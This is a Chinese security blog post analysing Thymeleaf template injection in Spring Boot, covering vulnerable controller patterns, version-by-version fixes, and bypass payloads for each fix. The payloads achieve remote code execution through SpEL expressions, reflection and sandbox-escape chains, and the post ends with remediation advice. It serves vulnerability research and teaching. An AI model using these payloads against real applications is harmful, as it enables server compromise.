Thymeleaf模板注入还能打吗?

admin 2024年9月1日16:44:20评论74 views字数 5568阅读18分33秒阅读模式

Thymeleaf模板注入还能打吗?

拍摄于:烟台大学小树林

Thymeleaf模板注入

最近在研究代码审计,顺便学到了Thymeleaf模板注入

本文主要分析Thymeleaf模板注入的利用和修复,以及各版本的修复方式和绕过方式

Html文件利用

这是目前最常见的利用方式

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div th:text="${6*6}"></div>
</html>

${}里面的内容其实是执行的SPEL表达式

后续版本Thymeleaf 添加了沙箱防护机制,限制了一些黑名单类

TemplateName利用

在Thymeleaf 3.0.0 至 3.0.11 版本存在该漏洞

@Controller
publicclassThymeleafDemoController{
    @GetMapping("/path")
    publicString path(String path){
        return"user/"+ path +"/welcome";
    }
}

利用poc

path=__${6*6}__::
path=__${T(Runtime).getRuntime().exec("open -a calculator.app")}__::

具体原理就是使用Thymeleaf进行渲染是调用的ThymeleafView.render()函数

Thymeleaf模板注入还能打吗?

然后调用的renderFragment()函数进行渲染

Thymeleaf模板注入还能打吗?

此时templateName是return回来的值

Thymeleaf模板注入还能打吗?

templateName赋值给viewTemplateName

Thymeleaf模板注入还能打吗?

然后对viewTemplateName值进行判断,是否存在::,不存在则赋值给templateName

Thymeleaf模板注入还能打吗?

否则进行下一步解析调用了parseExpression()函数,最后跟到preprocess()函数

preprocess()函数会正则匹配__xxx__中的内容,然后调用StandardExpressionParser进行解析

Thymeleaf模板注入还能打吗?

最终导致SPEL表达式注入

Thymeleaf模板注入还能打吗?

UriPath利用

也是Thymeleaf 3.0.0 至 3.0.11 版本存在

@Controller
public class ThymeleafDemoController {
    @RequestMapping("/ThymeleafUri/{path}")
    public void ThymeleafUri(@PathVariable String path) {
    }
}

就是springboot定义的控制器,如果是@controller注解,并且无return返回值,就会将Mapping的路由作为视图名称去解析

注意的是可控字符为字符串格式

利用poc

/ThymeleafUri/__$%7bT(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::aaaaaa.aaaa

注意这里编码、空格要用%20

3.0.12修复1

Thymeleaf3.0.12版本修复是添加了一个拦截方法containsSpELInstantiationOrStatic()

/org/thymeleaf/thymeleaf-spring5/3.0.12.RELEASE/thymeleaf-spring5-3.0.12.RELEASE.jar!/org/thymeleaf/spring5/util/SpringStandardExpressionUtils.class

Thymeleaf模板注入还能打吗?

Thymeleaf模板注入还能打吗?

大致检测思路是倒序检测是否包含 wen关键字,以及在(的左边的字符是否是T

也就是限制了new xxxT()的类调用

绕过方式

threedr3am师傅使用空格或空字符绕过,只要T()不连续即可

https://github.com/thymeleaf/thymeleaf-spring/issues/256

path=__${T%20(Runtime).getRuntime().exec("open -a calculator.app")}__::
/ThymeleafUri/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas

3.0.12修复2

Thymeleaf3.0.12版本修复同时添加了一个检测函数checkViewNameNotInRequest()

/org/thymeleaf/thymeleaf-spring5/3.0.12.RELEASE/thymeleaf-spring5-3.0.12.RELEASE.jar!/org/thymeleaf/spring5/util/SpringRequestUtils.class

Thymeleaf模板注入还能打吗?

检测原理就是判断return返回的值和request的路径进行比较,查看URL是否包含vn值

存在就报错,阻止后续的解析

Thymeleaf模板注入还能打吗?

这种是针对UriPath利用方式的拦截

/ThymeleafUri/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas

像TemplateName利用是无效的

path=__${T (Runtime).getRuntime().exec("open -a calculator.app")}__::

绕过方式

threedr3am师傅方法,使用;//进行绕过

/ThymeleafUri;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas

如果发现路径中存在分号,那么会调用removeSemicolonContent方法来移除分号,从而导致URL和vn值不一致

Thymeleaf模板注入还能打吗?

/ThymeleafUri//__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas

Thymeleaf模板注入还能打吗?

/ThymeleafUri/;/__$%7bT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator.app%22)%7d__::assadasd.asdas

3.0.14修复1

Thymeleaf3.0.14版本的修复,对containsSpELInstantiationOrStatic()函数检测进行了完善

T()中间空字符进行绕过修复

Thymeleaf模板注入还能打吗?

所以使用T%20()的方式调用类绕不过去了

绕过姿势

使用SPEL的反射调用即可

path=__${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::

3.0.14修复2

Thymeleaf3.0.14版本对checkViewNameNotInRequest()检测函数也进行了完善

Thymeleaf模板注入还能打吗?

可以看到添加了一个containsExpression()判断函数,用来匹配$*#@~的下一个字符是不是{,是的话判断为表达式

Thymeleaf模板注入还能打吗?

然后对UriPath利用方式改变了判断方式,也进行containsExpression{}判断

Thymeleaf模板注入还能打吗?

并且也对templatename利用进行了containsExpression{}判断

Thymeleaf模板注入还能打吗?

意思就是不管哪种方式,只要有${字符,就判断为表达式,就阻止后续运行。

绕过姿势

绕过思路无非就是不使用${}或在${之间加点字符造成绕过

跟了很久的后续链路,发现Thymeleaf3.0.15.RELEASE版本之前LiteralSubstitutionUtil()函数会置空||字符

/org/thymeleaf/thymeleaf/3.0.14.RELEASE/thymeleaf-3.0.14.RELEASE.jar!/org/thymeleaf/standard/expression/LiteralSubstitutionUtil.class

performLiteralSubstitution()函数会将表达式转换一下内容

大体意思就是遇到|xx|会转换成'xx' 或'+'字符串拼接方式

但是||中间如果没有字符,则会置空||,也就是说$||{}会被转换为${},从而导致绕过containsExpression()检测

Thymeleaf模板注入还能打吗?

然后使用||和反射配合即可绕过

path=__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator.app')}__::
/ThymeleafUri/__$||{''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open%20-a%20calculator.app')}__::assadasd.asdas

3.0.15修复

Thymeleaf3.0.15.RELEASE版本开始修复了LiteralSubstitutionUtil()函数,添加||

Thymeleaf模板注入还能打吗?

从Thymeleaf3.0.15版本开始到现在最新3.1.2.RELEASE版本,就是针对Html文件利用不停的添加黑名单了

当然,研究了一阵发现也是可以绕过的,由于涉及Thymeleaf最新版本这里就不公布细节了

下面可以看到,最新版本ruoyi使用的Thymeleaf3.0.15,完全可以打的

Thymeleaf模板注入还能打吗?

Thymeleaf模板注入还能打吗?

Thymeleaf模板注入还能打吗?

其他高版本绕过

后续版本更新就是针对各种沙箱黑名单的绕过了

1、SpelExpressionParser类

只要找不在黑名单里面类即可

比如SPEL表达式反射调用SpelExpressionParser,再解析一次SPEL表达式,套娃即可

${'a'.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("'a'.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator.app')").getValue()}

2、OptionHelper类

比如Squirt1e老哥的链,使用的ch.qos.logback.core.util.OptionHelper

原版POC

[[${T(ch.qos.logback.core.util.OptionHelper).instantiateByClassName("org.springframework.expression.spel.standard.SpelExpressionParser","".getClass().getSuperclass(),T(ch.qos.logback.core.util.OptionHelper).getClassLoader()).parseExpression("T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('whoami')").getValue()}]]

整体修复

1、配置@ResponseBody@RestController注解

2、return使用redirect:开头

根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值

参考文章

https://xz.aliyun.com/t/10514

https://xz.aliyun.com/t/14759

https://www.cnpanda.net/sec/1063.html

https://threedr3am.github.io/2021/04/26/3.0.12%20Thymeleaf%20RCE%20Bypass%EF%BC%88%E8%8B%A5%E4%BE%9Druoyi%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC%E5%90%8E%E5%8F%B0RCE%EF%BC%89/

原文始发于微信公众号(XG小刚):Thymeleaf模板注入还能打吗?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月1日16:44:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thymeleaf模板注入还能打吗?https://cn-sec.com/archives/3118198.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息